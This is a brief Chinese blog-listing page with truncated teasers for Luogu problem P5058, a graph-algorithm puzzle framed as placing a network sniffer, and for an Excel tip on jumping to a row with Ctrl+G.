https://www.luogu.com.cn/problem/P5058 第2题 嗅探器 查看测评数据信息某军搞信息对抗实战演习，红军成功地侵入了蓝军的内部网络。蓝军共有两个信息中心，红军计划在某台中间服务器上安装一个嗅探器，从而能够侦听到两个信息中心互相交换的所有信息。 但是蓝军的网络相当…
阅读更多...
在excel中快速定位到具体的行

在excel中快速定位到具体的行

1.在这个位置输入A6 到这行2.在这个位置输入A6 到这行 快捷键 Crtl+G 本篇文章如有帮助到您，请给「翎野君」点个赞，感谢您的支持。 首发链接：https://www.cnblogs.com/lingyejun/p/18306473作者：翎野君 出处：http://www.cnblogs.com/lingyejun/ 若本文如对您有帮助，不妨…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023